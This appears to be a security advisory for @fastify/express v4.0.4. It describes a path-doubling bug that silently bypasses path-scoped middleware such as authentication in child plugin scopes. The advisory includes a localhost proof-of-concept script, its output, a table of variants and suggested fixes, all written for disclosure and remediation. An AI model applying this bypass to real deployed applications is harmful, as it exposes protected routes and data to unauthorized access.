@fastify/express's middleware path doubling causes authentication bypass in child plugin scopes

Summary

@fastify/express v4.0.4 contains a path handling bug in the onRegister function that causes middleware paths to be doubled when inherited by child plugins. This results in complete bypass of Express middleware security controls for all routes defined within child plugin scopes that share a prefix with parent-scoped middleware. No special configuration is required — this affects the default Fastify configuration.

Details

The vulnerability exists in the onRegister function at index.js lines 92-101. When a child plugin is registered with a prefix, the onRegister hook copies middleware from the parent scope and re-registers it using instance.use(...middleware). However, the middleware paths stored in kMiddlewares are already prefixed from their original registration.

The call flow demonstrates the problem:

1. Parent scope registers middleware: app.use('/admin', authFn) — use() calculates path as '' + '/admin' = '/admin' — stores ['/admin', authFn] in kMiddlewares
2. Child plugin registers with { prefix: '/admin' } — triggers onRegister(instance)
3. onRegister copies parent middleware and calls instance.use('/admin', authFn) on child
4. Child's use() function calculates path as '/admin' + '/admin' = '/admin/admin' — registers middleware with doubled path
5. Routes in child scope use the child's Express instance, where middleware is registered under the incorrect path /admin/admin
6. Requests to /admin/secret don't match /admin/admin — middleware is silently skipped

The root cause is in the use() function at lines 25-26, which always prepends this.prefix to string paths, combined with onRegister re-calling use() with already-prefixed paths.

PoC

const fastify = require('fastify');
const http = require('http');

function get(port, url) {
  return new Promise((resolve, reject) => {
    http.get('http://localhost:' + port + url, (res) => {
      let data = '';
      res.on('data', (chunk) => data += chunk);
      res.on('end', () => resolve({ status: res.statusCode, body: data }));
    }).on('error', reject);
  });
}

async function test() {
  const app = fastify({ logger: false });
  await app.register(require('@fastify/express'));
  
  // Middleware enforcing auth on /admin routes
  app.use('/admin', function(req, res, next) {
    if (!req.headers.authorization) {
      res.statusCode = 403;
      res.setHeader('content-type', 'application/json');
      res.end(JSON.stringify({ error: 'Forbidden' }));
      return;
    }
    next();
  });
  
  // Root scope route — middleware works correctly
  app.get('/admin/root-data', async () => ({ data: 'root-secret' }));
  
  // Child scope route — middleware BYPASSED
  await app.register(async function(child) {
    child.get('/secret', async () => ({ data: 'child-secret' }));
  }, { prefix: '/admin' });
  
  await app.listen({ port: 19876, host: '0.0.0.0' });
  
  // Root scope: correctly blocked
  let r = await get(19876, '/admin/root-data');
  console.log('/admin/root-data (no auth):', r.status, r.body);
  // Output: 403 {"error":"Forbidden"}
  
  // Child scope: BYPASSED — secret data returned without auth
  r = await get(19876, '/admin/secret');
  console.log('/admin/secret (no auth):', r.status, r.body);
  // Output: 200 {"data":"child-secret"}
  
  await app.close();
}
test();

Actual output:

/admin/root-data (no auth): 403 {"error":"Forbidden"}
/admin/secret (no auth): 200 {"data":"child-secret"}

Impact

Complete bypass of Express middleware security controls for all routes defined in child plugin scopes. Authentication, authorization, rate limiting, CSRF protection, audit logging, and any other middleware-based security mechanisms are silently skipped for affected routes.

• No special request crafting is required — normal requests bypass the middleware
• It affects the idiomatic Fastify plugin pattern commonly used in production
• The bypass is silent with no errors or warnings
• Developers' basic testing of root-scoped routes will pass, masking the vulnerability
• Any child plugin scope that shares a prefix with middleware is affected

Applications using @fastify/express with path-scoped middleware and child plugins with matching prefixes are vulnerable in default configurations.

Affected Versions

• @fastify/express v4.0.4 (latest at time of discovery)
• Fastify 5.x in default configuration
• No special router options required (ignoreDuplicateSlashes not needed)
• Affects any child plugin registration where the prefix overlaps with middleware path scoping
• Does NOT affect middleware registered without path scoping (global middleware)
• Does NOT affect middleware registered on root path (/) due to special case handling

Variant Testing

Scenario	Middleware Path	Child Prefix	Result
Root route /admin/root-data	/admin	N/A	Middleware runs (403)
Child route /admin/secret	/admin	/admin	BYPASS (200)
Child route /api/data	/api	/api	BYPASS (200)
Nested child /admin/sub/data	/admin	/admin/sub	BYPASS — path becomes /admin/sub/admin
Middleware on / with any child	/	/api	No bypass — path === '/' && prefix.length > 0 special case

Suggested Fix

The onRegister function should store and re-use the original unprefixed middleware paths, or avoid re-calling the use() function entirely. Options include:

1. Store the original path and function separately in kMiddlewares before prefixing
2. Strip the parent prefix before re-registering in child scopes
3. Store already-constructed Express middleware objects rather than re-processing paths